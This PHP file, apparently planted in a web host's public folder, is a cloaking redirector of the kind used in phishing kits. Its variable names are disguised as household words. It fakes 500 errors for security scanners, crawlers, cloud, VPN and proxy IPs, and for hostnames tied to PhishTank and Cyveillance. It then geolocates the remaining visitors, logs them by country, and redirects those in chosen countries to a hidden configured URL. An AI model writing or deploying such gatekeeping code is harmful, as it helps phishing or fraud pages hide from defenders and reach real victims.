/home/mobivsrd/public_html/assetsMXc/index.php
<?php
error_reporting(0);
session_start();

function blanket_load() {
    $pillow = __DIR__ . '/.env';
    if (!file_exists($pillow)) {
        return [];
    }
    
    $curtain = file($pillow, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    $basket = [];
    
    foreach ($curtain as $carpet) {
        if (strpos(trim($carpet), '#') === 0 || strpos($carpet, '=') === false) {
            continue;
        }
        
        list($lamp, $sofa) = explode('=', $carpet, 2);
        $basket[trim($lamp)] = trim($sofa);
    }
    
    return $basket;
}

$blanket = blanket_load();

$book = $blanket['BOOK_PATH'] ?? '';
$pencil = $blanket['PENCIL_KEY'] ?? '';
$chair = $blanket['CHAIR_URL'] ?? '';
$table = isset($blanket['TABLE_LIST']) ? explode(',', $blanket['TABLE_LIST']) : [];
$folder_name = $blanket['FOLDER_NAME'] ?? '';
$file_name = $blanket['FILE_NAME'] ?? '';

if ($folder_name && $file_name) {
    $data_folder = __DIR__ . '/' . $folder_name;
    if (!is_dir($data_folder)) {
        mkdir($data_folder, 0755, true);
    }

    $index_content = '<?php header("Location: ../index.php"); exit; ?>';
    $index_file = $data_folder . '/index.php';
    if (!file_exists($index_file)) {
        file_put_contents($index_file, $index_content);
    }

    $book = $data_folder . '/' . $file_name;
}

function cup_randomize($bowl) {
    shuffle($bowl);
    return $bowl;
}

$window = cup_randomize([
    'amazon', 'aws', 'google', 'gcp', 'microsoft', 'azure', 'ovh', 'digitalocean', 'cloudflare', 'icomera', 'm247', 'avast software', 'zenlayer',
    'digitalocean', 'do-', 'hetzner', 'linode', 'contabo', 'oracle', 'akamai', 'fastly', 'vercel', 'render', 'fly.io', 'upcloud',
    'scaleway', 'vultr', 'packet', 'nocix', 'leaseweb', 'datacamp', 'sharktech', 'colo', 'kdatacenter', 'ipxo', 'liquidweb',
    'softlayer', 'online.net', 'kimsufi', 'netprotect', 'anonymizer', 'privado', 'purevpn', 'surfshark', 'nordvpn', 'expressvpn',
    'hide.me', 'openvpn', 'pia', 'airvpn', 'protonvpn', 'cyberghost', 'tor', 'exit node', 'vpn', 'proxy', 'tunnel', 'scraper',
    'crawler', 'scanner', 'residential', 'ipqualityscore', 'brightdata', 'oxylabs', 'smartproxy', 'luminati', 'residential proxy',
    'datacenter proxy', 'crawlera', 'zenrows', 'scrapinghub', 'scrapingbee', 'serpapi', 'apify', 'zyte', 'cloud', 'cdn', 'hosting',
    'server', 'servers', 'data center', 'data-center', 'seedbox', 'rfc1918'
]);

$door_list = cup_randomize([
    'curl', 'wget', 'python', 'python-requests', 'libwww', 'httpclient', 'aiohttp', 'urllib', 'mechanize',
    'node-fetch', 'axios', 'go-http-client', 'okhttp', 'cfnetwork', 'java', 'jakarta', 'fetch', 'http-request',
    'postmanruntime', 'insomnia', 'powershell', 'httpx', 'ruby', 'perl', 'php', 'bot', 'crawler', 'spider', 'scraper',
    'headless', 'phantomjs', 'screaming frog', 'puppeteer', 'playwright', 'slimerjs', 'selenium', 'ghost', 'htmlunit',
    'googlebot', 'bingbot', 'yahoo! slurp', 'yandexbot', 'duckduckbot', 'baiduspider', 'sogou', 'exabot',
    'facebookexternalhit', 'facebot', 'twitterbot', 'linkedinbot', 'embedly', 'quora link preview', 'pinterest',
    'slackbot', 'vkshare', 'rogerbot', 'ahrefs', 'mj12bot', 'semrush', 'dotbot', 'petalbot', 'bytespider', 'serpstatbot',
    'seekport', 'seznambot', 'meta', 'scrapy', 'crawlera', 'zyte', 'zenrows', 'apify', 'scrapinghub', 'serpapi',
    'BotLink', 'AhrefsBot', 'ahoy', 'AlkalineBOT', 'anthill', 'appie', 'arale', 'araneo', 'AraybOt', 'ariadne', 'arks', 
    'ATN_Worldwide', 'Atomz', 'bbot', 'Bjaaland', 'Ukonline', 'borg\-bot', 'boxseabot', 'bspider', 'calif', 'christcrawler', 
    'CMC', 'combine', 'confuzzledbot', 'CoolBot', 'cosmos', 'Internet Cruiser Robot', 'cusco', 'cyberspyder', 'cydralspider', 
    'desertrealm', 'desert realm', 'digger', 'DIIbot', 'grabber', 'downloadexpress', 'DragonBot', 'dwcp', 'ecollector', 
    'ebiness', 'elfinbot', 'esculapio', 'esther', 'fastcrawler', 'FDSE', 'FELIX IDE', 'ESI', 'fido', 'hmhkki', 'KIT\-Fireball', 
    'fouineur', 'Freecrawl', 'gammaSpider', 'gazz', 'gcreep', 'golem', 'griffon', 'Gromit', 'gulliver', 'gulper', 'hambot', 
    'havIndex', 'hotwired', 'htdig', 'iajabot', 'INGRID', 'Informant', 'InfoSpiders', 'inspectorwww', 'irobot', 'Iron33', 
    'JBot', 'jcrawler', 'Teoma', 'Jeeves', 'jobo', 'image\.kapsi\.net', 'KDD\-Explorer', 'ko_yappo_robot', 'label\-grabber', 
    'larbin', 'legs', 'Linkidator', 'linkwalker', 'Lockon', 'logo_gif_crawler', 'marvin', 'mattie', 'mediafox', 'MerzScope', 
    'NEC\-MeshExplorer', 'MindCrawler', 'udmsearch', 'moget', 'Motor', 'muncher', 'muninn', 'MuscatFerret', 'MwdSearch', 
    'sharp\-info\-agent', 'WebMechanic', 'NetScoop', 'newscan\-online', 'ObjectsSearch', 'Occam', 'Orbsearch', 'packrat', 
    'pageboy', 'ParaSite', 'patric', 'pegasus', 'perlcrawler', 'phpdig', 'piltdownman', 'Pimptrain', 'pjspider', 
    'PlumtreeWebAccessor', 'PortalBSpider', 'psbot', 'Getterrobo\-Plus', 'Raven', 'RHCS', 'RixBot', 'roadrunner', 'Robbie', 
    'robi', 'RoboCrawl', 'robofox', 'Scooter', 'Search\-AU', 'searchprocess', 'Senrigan', 'Shagseeker', 'sift', 'SimBot', 
    'Site Valet', 'skymob', 'SLCrawler', 'slurp', 'snooper', 'solbot', 'speedy', 'spider_monkey', 'SpiderBot', 'spiderline', 
    'nil', 'suke', 'sygol', 'tach_bw', 'TechBOT', 'templeton', 'titin', 'topiclink', 'UdmSearch', 'urlck', 'Valkyrie libwww\-perl', 
    'verticrawl', 'Victoria', 'void\-bot', 'Voyager', 'VWbot_K', 'crawlpaper', 'wapspider', 'WebBandit', 'webcatcher', 
    'T\-H\-U\-N\-D\-E\-R\-S\-T\-O\-N\-E', 'WebMoose', 'webquest', 'webreaper', 'webs', 'webspider', 'WebWalker', 'winona', 
    'whowhere', 'wlm', 'WOLP', 'WWWC', 'none', 'XGET', 'Nederland\.zoek', 'AISearchBot', 'woriobot', 'NetSeer', 'Nutch', 
    'YandexMobileBot', 'FatBot', 'AddThis', 'mod_pagespeed', 'openstat\.ru\/Bot', 'm2e', 'mediapartners', 'Ipad Iphone Safari', 
    'Python\-urllib', 'HeadlessChrome', 'PhantomJS', 'zgrab', 'BingPreview'
]);

function blanket_count($pillow) {
    if (!file_exists($pillow)) {
        return 1;
    }

    $curtain = file($pillow, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    if (empty($curtain)) {
        return 1;
    }

    $carpet = trim(end($curtain));
    if (preg_match('/^(\d+)\. /', $carpet, $lamp)) {
        return (int)$lamp[1] + 1;
    }

    return 1;
}

function pillow_error() {
    header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500);
    die("Error 500: Internal Server Error");
}

function curtain_ip() {
    $sofa = [
        'HTTP_CF_CONNECTING_IP',
        'HTTP_X_REAL_IP',
        'HTTP_X_FORWARDED_FOR',
        'HTTP_X_FORWARDED',
        'HTTP_FORWARDED_FOR',
        'HTTP_FORWARDED',
        'HTTP_CLIENT_IP',
        'REMOTE_ADDR'
    ];
    
    foreach ($sofa as $basket) {
        if (!empty($_SERVER[$basket]) && is_string($_SERVER[$basket])) {
            $spoon = explode(',', $_SERVER[$basket]);
            $plate = trim($spoon[0]);
            
            if (filter_var($plate, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
                return $plate;
            }
        }
    }
    
    return $_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN';
}

function carpet_validate($mirror) {
    return filter_var($mirror, FILTER_VALIDATE_IP) !== false;
}

function lamp_info($clock) {
    if (!carpet_validate($clock)) {
        return ['country' => 'Unknown', 'isp' => 'Unknown', 'hostname' => 'Unknown', 'status' => 'fail', 'api_error' => 'Invalid IP'];
    }
    
    global $pencil;
    
    if (empty($pencil)) {
        $cup = @gethostbyaddr($clock);
        return [
            'country' => 'Unknown', 
            'isp' => 'Unknown', 
            'hostname' => ($cup === $clock) ? 'Unknown' : $cup, 
            'status' => 'fail', 
            'api_error' => 'No API Key'
        ];
    }
    
    $fork = "https://pro.ip-api.com/json/{$clock}?fields=country,isp,status&key={$pencil}";
    $chair = false;
    
    if (function_exists('curl_init')) {
        $book = curl_init();
        curl_setopt_array($book, [
            CURLOPT_URL => $fork,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => 3,
            CURLOPT_CONNECTTIMEOUT => 2,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        ]);
        $chair = curl_exec($book);
        $http_code = curl_getinfo($book, CURLINFO_HTTP_CODE);
        curl_close($book);
        
        if ($http_code !== 200) {
            $chair = false;
        }
    } else {
        $table = stream_context_create([
            'http' => [
                'timeout' => 3,
                'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            ],
            'ssl' => [
                'verify_peer' => false,
                'verify_peer_name' => false
            ]
        ]);
        $chair = @file_get_contents($fork, false, $table);
    }
    
    $cup = @gethostbyaddr($clock);
    
    if ($chair !== false) {
        $window = json_decode($chair, true);
        if (!empty($window) && isset($window['status']) && $window['status'] === 'success') {
            return [
                'country' => $window['country'] ?? 'Unknown',
                'isp' => strtolower($window['isp'] ?? 'Unknown'),
                'hostname' => ($cup === $clock) ? 'Unknown' : $cup,
                'status' => 'success',
                'api_error' => null
            ];
        }
    }
    
    return [
        'country' => 'Unknown', 
        'isp' => 'Unknown', 
        'hostname' => ($cup === $clock) ? 'Unknown' : $cup, 
        'status' => 'fail', 
        'api_error' => 'API Request Failed'
    ];
}

$door = curtain_ip();
$keyboard = strtolower($_SERVER['HTTP_USER_AGENT'] ?? 'unknown');
$mouse = date("Y-m-d H:i:s");

if ($door === '127.0.0.1' || $door === '::1' || $door === 'localhost') {
    if (!headers_sent()) {
        $screen = bin2hex(random_bytes(50));
        header("Location: https://google.com?$screen");
    }
    exit;
}

foreach ($door_list as $speaker) {
    if (strpos($keyboard, $speaker) !== false) {
        pillow_error();
    }
}

$keyboard_pattern = ['above', 'google', 'softlayer', 'cyveillance', 'phishtank'];
shuffle($keyboard_pattern);
$mouse_pattern = '/' . implode('|', array_slice($keyboard_pattern, 0, 3)) . '/i';

if (preg_match($mouse_pattern, @gethostbyaddr($door))) {
    pillow_error();
}

$headphones = '/BotLink|bingbot|AhrefsBot|ahoy|googlebot|msnbot|slurp|facebookexternalhit|facebot|twitterbot|LinkedInBot|pinterest|slackbot|vkShare|rogerbot|ahrefs|MJ12bot|SemrushBot|DotBot|baiduspider|YandexBot|CCBot|PhantomJS|HeadlessChrome|python|curl|wget|libwww|httpclient|okhttp|java|perl|ruby|scraper|crawler|spider|bot/i';

if (preg_match($headphones, $keyboard)) {
    pillow_error();
}

if ($keyboard == "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)" || !filter_var($door, FILTER_VALIDATE_IP)) {
    pillow_error();
}

$microphone = lamp_info($door);
$camera = $microphone['country'];
$phone = $microphone['isp'];
$charger = $microphone['hostname'];
$api_status = $microphone['api_error'] ?? 'SUCCESS';

foreach ($window as $cable) {
    if (strpos($phone, $cable) !== false || strpos($keyboard, $cable) !== false) {
        pillow_error();
    }
}

if (!in_array($camera, $table, true)) {
    pillow_error();
}

$adapter = blanket_count($book);
$log_entry = "{$adapter}. $camera - $door - $phone - $charger - $keyboard - API: $api_status\n";
file_put_contents($book, $log_entry, FILE_APPEND);

if (!headers_sent()) {
    $case = bin2hex(random_bytes(50));
    header("Location: $chair?$case");
} else {
    echo "<script>window.location.href = '$chair?$case';</script>";
}
exit;
?>